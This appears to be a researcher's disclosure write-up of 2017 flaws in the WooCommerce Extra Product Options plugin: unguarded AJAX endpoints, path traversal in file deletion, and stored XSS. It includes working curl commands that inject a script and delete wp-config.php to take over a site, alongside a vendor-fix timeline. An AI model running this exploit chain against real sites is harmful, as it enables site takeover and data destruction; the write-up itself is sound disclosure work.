New idea

A couple of days ago, I read in an article about attacks on freshly installed WordPress instances. Here is the original article: https://www.wordfence.com/blog/2017/07/wpsetup-attack/, it is a pretty good read.

So, the idea is to hit a WordPress site that is a new one, so it does not have the wp-config.php file yet created, and take over the install. This gave me an idea, what if one deletes the wp-config.php file? It should have the same effect.

Targeting

I did a quick browse around CodeCanyon.net and WooCommerce Extra Product Options has the prefect combination.

Same old, same old

It has an interesting ajax endpoint, of course without any capability check or nonce validation.

/plugins/woocommerce-tm-extra-product-options/admin/class-tm-epo-admin-global-base.php Line 78

/* File manager */
        add_action( 'wp_ajax_tm_mn_movetodir', array( $this, 'tm_mn_movetodir' ) );
        add_action( 'wp_ajax_tm_mn_deldir', array( $this, 'tm_mn_deldir' ) );
        add_action( 'wp_ajax_tm_mn_delfile', array( $this, 'tm_mn_delfile' ) );
public function tm_mn_delfile() {

        if ( isset( $_POST["tmfile"] ) && isset( $_POST["tmdir"] ) ) {
            $subdir = TM_EPO()->upload_dir . $_POST["tmdir"];
            $param = wp_upload_dir();
            if ( empty( $param['subdir'] ) ) {
                $param['path'] = $param['path'] . $subdir;
                $param['url'] = $param['url'] . $subdir;
                $param['subdir'] = $subdir;
            } else {
                $param['path'] = str_replace( $param['subdir'], $subdir, $param['path'] );
                $param['url'] = str_replace( $param['subdir'], $subdir, $param['url'] );
                $param['subdir'] = str_replace( $param['subdir'], $subdir, $param['subdir'] );
            }

            $html = TM_EPO_HELPER()->file_delete( $param['path'] . "/" . $_POST["tmfile"] );
        }

        $this->tm_mn_movetodir();
    }

It takes some user input, a folder tmdir, and a file name tmfile messes around with the dir name and then calls

TM_EPO_HELPER()->file_delete( $param['path'] . "/" . $_POST["tmfile"]  

And, in turn, the file_delete deletes the file:

public function file_delete( $file = '' ) {  
        if ( $this->init_filesystem() ) {
            global $wp_filesystem;
            $mn = $wp_filesystem->delete( $file );
            clearstatcache();

            return $mn;
        }

        return FALSE;
    }

This seems promising, but there is an issue, we can use path traversal in the file name ../../../some.ext but TM_EPO()->upload_dir by default returns extra_product_options so the $param['path'] will become /wp-content/uploads/extra_product_options/. If the folder does not exist, then we can't use the path traversal under Linux.

Settings

Looking at the Settings panel for the plugin, there is a setting under Upload manager folder called Upload folder.

Of course, there is another non guarded ajax endpoint for the settings:

/* Ajax save settings */
        add_action( 'wp_ajax_tm_save_settings', array( $this, 'tm_save_settings' ) );
[...]
public function tm_save_settings() {  
    $error = 0;
    $message = __( 'Your settings have been saved.', 'woocommerce-tm-extra-product-options' );

    $thissettings_options = TM_EPO_SETTINGS()->settings_options();

    foreach ( $thissettings_options as $key => $value ) {
        $thissettings_array[ $key ] = TM_EPO_SETTINGS()->get_setting_array( $key, $value );
    }
    $settings = array();
    $settings = array_merge( $settings, array( array( 'type' => 'tm_tabs_header' ) ) );

    foreach ( $thissettings_array as $key => $value ) {
        $settings = array_merge( $settings, $value );
    }
    $options = apply_filters( 'tm_' . TM_EPO_ADMIN_SETTINGS_ID . '_settings',
        $settings
    );


    if ( class_exists( 'WC_Admin_Settings' ) && is_callable( array( 'WC_Admin_Settings', 'save' ) ) ) {
        WC_Admin_Settings::save_fields( $options );
    } else {
        $error = 1;
        $message = __( 'There was an error saving the settings.', 'woocommerce-tm-extra-product-options' );
    }
    echo json_encode(
        array(
            'error'   => $error,
            'message' => $message,
        )
    );
    die();
}

Stored XSS

As a side note, there is stored XSS as well:

$ curl -X POST 'http://127.0.0.1/wp-admin/admin-ajax.php' -H "Cookie: [CUSTOMER_AUTH_COOKIES]" --data 'action=tm_save_settings&tm_epo_js_code=alert(1337)'

Stored XSS HTML Poc

Back to business

All right, so we can update the upload_path via the exposed settings AJAX endpoint:

$ curl -X POST 'http://127.0.0.1/wp-admin/admin-ajax.php' -H "Cookie: [CUSTOMER_AUTH_COOKIES]" --data 'action=tm_save_settings&tm_epo_upload_folder=../'

This will solve the issue, when the default upload folder is not created yet. The last thing remains is to delete the wp-config.php file and take over the whole site:

$ curl -X POST 'http://127.0.0.1/wp-admin/admin-ajax.php' -H "Cookie: [CUSTOMER_AUTH_COOKIES]"  --data 'action=tm_mn_delfile&tmfile=wp-config.php&tmdir=../../'

Impact 7/10

It is a WooComerce plugin, so it needs WooCommerce, and it is pretty easy to create a customer level account by ordering something, and with that account an attacker can call these AJAX endpoints. It is a Remote Code Execution if the wp-config.php is writable by the web server with a stored XSS. ~13.000 sales currently.

Timeline

16 - 07 - 2017 - Vulnerability discovered  
16 - 07 - 2017 - Vendor notified  
16 - 07 - 2017 - Vendor fixed the issues in 4.5.4  
28 - 07 - 2017 - Vulnerability goes public.